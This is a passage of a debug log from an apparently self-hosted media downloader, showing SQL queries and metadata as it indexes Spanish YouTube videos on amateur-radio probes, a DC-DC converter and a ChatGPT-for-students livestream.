[debug] Current batch of media processed. Will check again in 1000ms 22:39:59.670 [debug] Current batch of media processed. Will check again in 1000ms 22:39:59.748 [debug] Current batch of media processed. Will check again in 1000ms 22:40:00.122 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:40:00.672 [debug] Current batch of media processed. Will check again in 1000ms 22:40:00.749 [debug] Current batch of media processed. Will check again in 1000ms 22:40:01.672 [debug] Current batch of media processed. Will check again in 1000ms 22:40:01.750 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "En este video vamos a ver como construirnos, de forma económica y simple, una sonda-h de campo magnético y una sonda-e de campo eléctrico, que nos permitirán con un analizador de espectro o un osciloscopio detectar señales, hacer diagnostico de averias o detectar fuentes de interferencia.\n\nEl cable RG402 lo compre aqui:\n\nhttps://es.aliexpress.com/item/1005003214520795.html\n\nComo LNA he usado este:\n\nhttps://www.amazon.es/HiLetgo-Amplificador-Banda-Ancha-1-2000/dp/B01N2NJSGV\n\nVale cualquier LNA que encontreis que carezca de filtros y que sirva entre 10Khz (o 100Khz) y una frecuencia alta a vuestra elección (la mayor parte llegan a 1 o 2 Ghz). Contra menor la frecuencia inicial, mejor.\n\n#sonda-h #sonda-e #radioaficionados #diagnosis #hamradio #probe-h #probe-e #analizadorespecttro #tinySA #tinySA-ULTRA #diyelectronics\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n01:12 - Intro Canal\n01:29 - ¿Para que sirven?\n11:22 - Sonda-E campo eléctrico\n14:25 - Sonda-H campo magnético\n17:44 - Probando...\n21:18 - Montando LNA 30dB\n26:01 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1673, "filename" => "/downloads/music/ea3grn/129 - CONSTRUYE TU SONDA ELECTRICA Y MAGNETICA PARA ANALIZADOR DE ESPECTRO y⧸o OSCILOSCOPIO.m4a", "id" => "QNZRC47Bqfc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=QNZRC47Bqfc", "playlist_index" => 52, "timestamp" => 1709748012, "title" => "129 - CONSTRUYE TU SONDA ELECTRICA Y MAGNETICA PARA ANALIZADOR DE ESPECTRO y/o OSCILOSCOPIO", "upload_date" => "20240306"} 22:40:01.751 [debug] QUERY OK source="sources" db=0.6ms idle=1628.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:40:01.752 [debug] QUERY OK source="sources" db=0.4ms idle=989.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:40:01.753 [debug] QUERY OK source="media_items" db=0.7ms idle=989.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-06 18:00:12Z], 3] 22:40:01.755 [debug] QUERY OK source="media_items" db=1.3ms idle=990.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["En este video vamos a ver como construirnos, de forma económica y simple, una sonda-h de campo magnético y una sonda-e de campo eléctrico, que nos permitirán con un analizador de espectro o un osciloscopio detectar señales, hacer diagnostico de averias o detectar fuentes de interferencia.\n\nEl cable RG402 lo compre aqui:\n\nhttps://es.aliexpress.com/item/1005003214520795.html\n\nComo LNA he usado este:\n\nhttps://www.amazon.es/HiLetgo-Amplificador-Banda-Ancha-1-2000/dp/B01N2NJSGV\n\nVale cualquier LNA que encontreis que carezca de filtros y que sirva entre 10Khz (o 100Khz) y una frecuencia alta a vuestra elección (la mayor parte llegan a 1 o 2 Ghz). Contra menor la frecuencia inicial, mejor.\n\n#sonda-h #sonda-e #radioaficionados #diagnosis #hamradio #probe-h #probe-e #analizadorespecttro #tinySA #tinySA-ULTRA #diyelectronics\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n01:12 - Intro Canal\n01:29 - ¿Para que sirven?\n11:22 - Sonda-E campo eléctrico\n14:25 - Sonda-H campo magnético\n17:44 - Probando...\n21:18 - Montando LNA 30dB\n26:01 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "129 - CONSTRUYE TU SONDA ELECTRICA Y MAGNETICA PARA ANALIZADOR DE ESPECTRO y/o OSCILOSCOPIO", "2e7ca689-4df4-4e42-afa0-a4a896fbd287", 1673, false, "QNZRC47Bqfc", "https://www.youtube.com/watch?v=QNZRC47Bqfc", 52, "/downloads/music/ea3grn/129 - CONSTRUYE TU SONDA ELECTRICA Y MAGNETICA PARA ANALIZADOR DE ESPECTRO y⧸o OSCILOSCOPIO.m4a", false, false, false, 3, [], 98, ~U[2024-03-06 18:00:12Z], ~U[2026-02-07 21:40:01Z], ~U[2026-02-07 21:40:01Z], "En este video vamos a ver como construirnos, de forma económica y simple, una sonda-h de campo magnético y una sonda-e de campo eléctrico, que nos permitirán con un analizador de espectro o un osciloscopio detectar señales, hacer diagnostico de averias o detectar fuentes de interferencia.\n\nEl cable RG402 lo compre aqui:\n\nhttps://es.aliexpress.com/item/1005003214520795.html\n\nComo LNA he usado este:\n\nhttps://www.amazon.es/HiLetgo-Amplificador-Banda-Ancha-1-2000/dp/B01N2NJSGV\n\nVale cualquier LNA que encontreis que carezca de filtros y que sirva entre 10Khz (o 100Khz) y una frecuencia alta a vuestra elección (la mayor parte llegan a 1 o 2 Ghz). Contra menor la frecuencia inicial, mejor.\n\n#sonda-h #sonda-e #radioaficionados #diagnosis #hamradio #probe-h #probe-e #analizadorespecttro #tinySA #tinySA-ULTRA #diyelectronics\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n01:12 - Intro Canal\n01:29 - ¿Para que sirven?\n11:22 - Sonda-E campo eléctrico\n14:25 - Sonda-H campo magnético\n17:44 - Probando...\n21:18 - Montando LNA 30dB\n26:01 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "129 - CONSTRUYE TU SONDA ELECTRICA Y MAGNETICA PARA ANALIZADOR DE ESPECTRO y/o OSCILOSCOPIO", 1673, false, "QNZRC47Bqfc", "https://www.youtube.com/watch?v=QNZRC47Bqfc", "/downloads/music/ea3grn/129 - CONSTRUYE TU SONDA ELECTRICA Y MAGNETICA PARA ANALIZADOR DE ESPECTRO y⧸o OSCILOSCOPIO.m4a", false, 3, ~U[2024-03-06 18:00:12Z]] 22:40:01.756 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=737.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:40:01.756 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:40:01.757 [debug] QUERY OK source="media_items" db=0.5ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1400] 22:40:01.757 [debug] Current batch of media processed. Will check again in 1000ms 22:40:02.673 [debug] Current batch of media processed. Will check again in 1000ms 22:40:02.758 [debug] Current batch of media processed. Will check again in 1000ms 22:40:03.674 [debug] Current batch of media processed. Will check again in 1000ms 22:40:03.759 [debug] Current batch of media processed. Will check again in 1000ms 22:40:04.675 [debug] Current batch of media processed. Will check again in 1000ms 22:40:04.760 [debug] Current batch of media processed. Will check again in 1000ms 22:40:05.676 [debug] Current batch of media processed. Will check again in 1000ms 22:40:05.761 [debug] Current batch of media processed. Will check again in 1000ms 22:40:06.677 [debug] Current batch of media processed. Will check again in 1000ms 22:40:06.762 [debug] Current batch of media processed. Will check again in 1000ms 22:40:07.685 [debug] Current batch of media processed. Will check again in 1000ms 22:40:07.763 [debug] Current batch of media processed. Will check again in 1000ms 22:40:08.686 [debug] Current batch of media processed. Will check again in 1000ms 22:40:08.764 [debug] Current batch of media processed. Will check again in 1000ms 22:40:09.687 [debug] Current batch of media processed. Will check again in 1000ms 22:40:09.765 [debug] Current batch of media processed. Will check again in 1000ms 22:40:10.688 [debug] Current batch of media processed. Will check again in 1000ms 22:40:10.766 [debug] Current batch of media processed. Will check again in 1000ms 22:40:11.689 [debug] Current batch of media processed. Will check again in 1000ms 22:40:11.767 [debug] Current batch of media processed. Will check again in 1000ms 22:40:12.690 [debug] Current batch of media processed. Will check again in 1000ms 22:40:12.768 [debug] Current batch of media processed. Will check again in 1000ms 22:40:13.691 [debug] Current batch of media processed. Will check again in 1000ms 22:40:13.769 [debug] Current batch of media processed. Will check again in 1000ms 22:40:14.692 [debug] Current batch of media processed. Will check again in 1000ms 22:40:14.770 [debug] Current batch of media processed. Will check again in 1000ms 22:40:15.693 [debug] Current batch of media processed. Will check again in 1000ms 22:40:15.771 [debug] Current batch of media processed. Will check again in 1000ms 22:40:16.694 [debug] Current batch of media processed. Will check again in 1000ms 22:40:16.772 [debug] Current batch of media processed. Will check again in 1000ms 22:40:17.695 [debug] Current batch of media processed. Will check again in 1000ms 22:40:17.773 [debug] Current batch of media processed. Will check again in 1000ms 22:40:18.696 [debug] Current batch of media processed. Will check again in 1000ms 22:40:18.774 [debug] Current batch of media processed. Will check again in 1000ms 22:40:19.697 [debug] Current batch of media processed. Will check again in 1000ms 22:40:19.775 [debug] Current batch of media processed. Will check again in 1000ms 22:40:20.698 [debug] Current batch of media processed. Will check again in 1000ms 22:40:20.776 [debug] Current batch of media processed. Will check again in 1000ms 22:40:21.246 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:21.699 [debug] Current batch of media processed. Will check again in 1000ms 22:40:21.777 [debug] Current batch of media processed. Will check again in 1000ms 22:40:22.700 [debug] Current batch of media processed. Will check again in 1000ms 22:40:22.778 [debug] Current batch of media processed. Will check again in 1000ms 22:40:23.701 [debug] Current batch of media processed. Will check again in 1000ms 22:40:23.779 [debug] Current batch of media processed. Will check again in 1000ms 22:40:24.702 [debug] Current batch of media processed. Will check again in 1000ms 22:40:24.780 [debug] Current batch of media processed. Will check again in 1000ms 22:40:25.703 [debug] Current batch of media processed. Will check again in 1000ms 22:40:25.781 [debug] Current batch of media processed. Will check again in 1000ms 22:40:26.707 [debug] Current batch of media processed. Will check again in 1000ms 22:40:26.782 [debug] Current batch of media processed. Will check again in 1000ms 22:40:27.708 [debug] Current batch of media processed. Will check again in 1000ms 22:40:27.783 [debug] Current batch of media processed. Will check again in 1000ms 22:40:28.709 [debug] Current batch of media processed. Will check again in 1000ms 22:40:28.784 [debug] Current batch of media processed. Will check again in 1000ms 22:40:29.710 [debug] Current batch of media processed. Will check again in 1000ms 22:40:29.785 [debug] Current batch of media processed. Will check again in 1000ms 22:40:30.711 [debug] Current batch of media processed. Will check again in 1000ms 22:40:30.786 [debug] Current batch of media processed. Will check again in 1000ms 22:40:31.712 [debug] Current batch of media processed. Will check again in 1000ms 22:40:31.787 [debug] Current batch of media processed. Will check again in 1000ms 22:40:32.713 [debug] Current batch of media processed. Will check again in 1000ms 22:40:32.788 [debug] Current batch of media processed. Will check again in 1000ms 22:40:33.714 [debug] Current batch of media processed. Will check again in 1000ms 22:40:33.789 [debug] Current batch of media processed. Will check again in 1000ms 22:40:34.715 [debug] Current batch of media processed. Will check again in 1000ms 22:40:34.790 [debug] Current batch of media processed. Will check again in 1000ms 22:40:35.716 [debug] Current batch of media processed. Will check again in 1000ms 22:40:35.791 [debug] Current batch of media processed. Will check again in 1000ms 22:40:36.717 [debug] Current batch of media processed. Will check again in 1000ms 22:40:36.792 [debug] Current batch of media processed. Will check again in 1000ms 22:40:37.718 [debug] Current batch of media processed. Will check again in 1000ms 22:40:37.793 [debug] Current batch of media processed. Will check again in 1000ms 22:40:38.719 [debug] Current batch of media processed. Will check again in 1000ms 22:40:38.794 [debug] Current batch of media processed. Will check again in 1000ms 22:40:39.720 [debug] Current batch of media processed. Will check again in 1000ms 22:40:39.795 [debug] Current batch of media processed. Will check again in 1000ms 22:40:40.721 [debug] Current batch of media processed. Will check again in 1000ms 22:40:40.796 [debug] Current batch of media processed. Will check again in 1000ms 22:40:41.722 [debug] Current batch of media processed. Will check again in 1000ms 22:40:41.797 [debug] Current batch of media processed. Will check again in 1000ms 22:40:42.724 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Volvemos a la carga con el back to school o vuelta al cole. En esta ocasion vamos a ver como usar chatGPT para APRENDER!!! si nos puede ayudar para aprender y os vamos a contar casos super chulos, y lo mas importante resolveremos todas las dudas que tengais! Es interactivo!! duda que tengas echanosla y la resolveremos, queremos que el prota seas TU!!!", "duration" => 4153, "filename" => "/downloads/music/IA mí QUÉ/IAMIQUE - ED2 - Back To School 2 - ChatGPT para estudiantes.m4a", "id" => "FaOvuReyJnM", "live_status" => "was_live", "original_url" => "https://www.youtube.com/watch?v=FaOvuReyJnM", "playlist_index" => 1, "timestamp" => 1758870406, "title" => "IAMIQUE - ED2 - Back To School 2 - ChatGPT para estudiantes", "upload_date" => "20250926"} 22:40:42.725 [debug] QUERY OK source="sources" db=0.6ms idle=1961.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:40:42.726 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1963.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:40:42.727 [debug] QUERY OK source="media_items" db=0.8ms idle=1963.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-26 07:06:46Z], 2] 22:40:42.729 [debug] QUERY OK source="media_items" db=1.0ms idle=1630.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Volvemos a la carga con el back to school o vuelta al cole. En esta ocasion vamos a ver como usar chatGPT para APRENDER!!! si nos puede ayudar para aprender y os vamos a contar casos super chulos, y lo mas importante resolveremos todas las dudas que tengais! Es interactivo!! duda que tengas echanosla y la resolveremos, queremos que el prota seas TU!!!", "IAMIQUE - ED2 - Back To School 2 - ChatGPT para estudiantes", "caabcf57-4501-4737-9ca9-b2e7172d1bed", 4153, true, "FaOvuReyJnM", "https://www.youtube.com/watch?v=FaOvuReyJnM", 1, "/downloads/music/IA mí QUÉ/IAMIQUE - ED2 - Back To School 2 - ChatGPT para estudiantes.m4a", false, false, false, 2, [], 98, ~U[2025-09-26 07:06:46Z], ~U[2026-02-07 21:40:42Z], ~U[2026-02-07 21:40:42Z], "Volvemos a la carga con el back to school o vuelta al cole. En esta ocasion vamos a ver como usar chatGPT para APRENDER!!! si nos puede ayudar para aprender y os vamos a contar casos super chulos, y lo mas importante resolveremos todas las dudas que tengais! Es interactivo!! duda que tengas echanosla y la resolveremos, queremos que el prota seas TU!!!", "IAMIQUE - ED2 - Back To School 2 - ChatGPT para estudiantes", 4153, true, "FaOvuReyJnM", "https://www.youtube.com/watch?v=FaOvuReyJnM", "/downloads/music/IA mí QUÉ/IAMIQUE - ED2 - Back To School 2 - ChatGPT para estudiantes.m4a", false, 2, ~U[2025-09-26 07:06:46Z]] 22:40:42.730 [debug] QUERY OK source="sources" db=0.5ms idle=629.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:40:42.731 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.4ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:40:42.734 [debug] QUERY OK source="media_items" db=0.5ms queue=2.0ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1364] 22:40:42.734 [debug] Current batch of media processed. Will check again in 1000ms 22:40:42.798 [debug] Current batch of media processed. Will check again in 1000ms 22:40:43.734 [debug] Current batch of media processed. Will check again in 1000ms 22:40:43.799 [debug] Current batch of media processed. Will check again in 1000ms 22:40:44.735 [debug] Current batch of media processed. Will check again in 1000ms 22:40:44.800 [debug] Current batch of media processed. Will check again in 1000ms 22:40:45.736 [debug] Current batch of media processed. Will check again in 1000ms 22:40:45.801 [debug] Current batch of media processed. Will check again in 1000ms 22:40:46.737 [debug] Current batch of media processed. Will check again in 1000ms 22:40:46.802 [debug] Current batch of media processed. Will check again in 1000ms 22:40:47.738 [debug] Current batch of media processed. Will check again in 1000ms 22:40:47.803 [debug] Current batch of media processed. Will check again in 1000ms 22:40:48.739 [debug] Current batch of media processed. Will check again in 1000ms 22:40:48.804 [debug] Current batch of media processed. Will check again in 1000ms 22:40:49.740 [debug] Current batch of media processed. Will check again in 1000ms 22:40:49.805 [debug] Current batch of media processed. Will check again in 1000ms 22:40:50.741 [debug] Current batch of media processed. Will check again in 1000ms 22:40:50.806 [debug] Current batch of media processed. Will check again in 1000ms 22:40:51.249 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:51.742 [debug] Current batch of media processed. Will check again in 1000ms 22:40:51.807 [debug] Current batch of media processed. Will check again in 1000ms 22:40:52.743 [debug] Current batch of media processed. Will check again in 1000ms 22:40:52.808 [debug] Current batch of media processed. Will check again in 1000ms 22:40:53.744 [debug] Current batch of media processed. Will check again in 1000ms 22:40:53.809 [debug] Current batch of media processed. Will check again in 1000ms 22:40:54.745 [debug] Current batch of media processed. Will check again in 1000ms 22:40:54.810 [debug] Current batch of media processed. Will check again in 1000ms 22:40:55.746 [debug] Current batch of media processed. Will check again in 1000ms 22:40:55.811 [debug] Current batch of media processed. Will check again in 1000ms 22:40:56.747 [debug] Current batch of media processed. Will check again in 1000ms 22:40:56.813 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "He estado probando (gracias a la sugerencia de Jaime!) un conversor DC-DC que a partir de una tensión comprendida entre 8 y 40 voltios de entrada, nos da 13.8 voltios estabilizados y hasta un máximo de 30 amperios (no continuos, yo recomiendo no exceder los 20 amperios).\n\nLo hay en múltiples tipos y este en concreto lo he adquirido en este enlace (no me gano nada):\n\nhttps://es.aliexpress.com/item/32897068247.html (seleccionar el modelo adecuado).\n\nEspero lo encontreis interesante !\n\nContenido del video\n---------------------------------\n\n00:00 - Inicio\n00:38 - Intro Canal\n00:55 - De que estamos hablando\n03:19 - Caracteristicas\n06:42 - Planteamiento de 2 baterias en serie\n09:18 - Probando los cambios de tensión\n13:05 - Buscando interferencias\n15:27 - Seguimos buscando interferencias\n22:20 - Una solución a la interferencia\n24:24 - Conclusiones\n\n#wg8-40s13r830 #buckconverter #radioaficionados #hamradio #rcnun #414w #diyelectronics \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1670, "filename" => "/downloads/music/ea3grn/128 - CONVERSOR DC DC DE 8-40V A 13.8V 30 AMPERIOS PARA SU USO EN RADIOAFICIÓN.m4a", "id" => "3tu2MW8b1Js", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3tu2MW8b1Js", "playlist_index" => 53, "timestamp" => 1709402403, "title" => "128 - CONVERSOR DC DC DE 8-40V A 13.8V 30 AMPERIOS PARA SU USO EN RADIOAFICIÓN", "upload_date" => "20240302"} 22:40:56.814 [debug] QUERY OK source="sources" db=0.6ms idle=1050.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:40:56.817 [debug] QUERY OK source="sources" db=0.5ms idle=1053.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:40:56.818 [debug] QUERY OK source="media_items" db=0.8ms idle=1054.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-02 18:00:03Z], 3] 22:40:56.820 [debug] QUERY OK source="media_items" db=1.3ms idle=685.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["He estado probando (gracias a la sugerencia de Jaime!) un conversor DC-DC que a partir de una tensión comprendida entre 8 y 40 voltios de entrada, nos da 13.8 voltios estabilizados y hasta un máximo de 30 amperios (no continuos, yo recomiendo no exceder los 20 amperios).\n\nLo hay en múltiples tipos y este en concreto lo he adquirido en este enlace (no me gano nada):\n\nhttps://es.aliexpress.com/item/32897068247.html (seleccionar el modelo adecuado).\n\nEspero lo encontreis interesante !\n\nContenido del 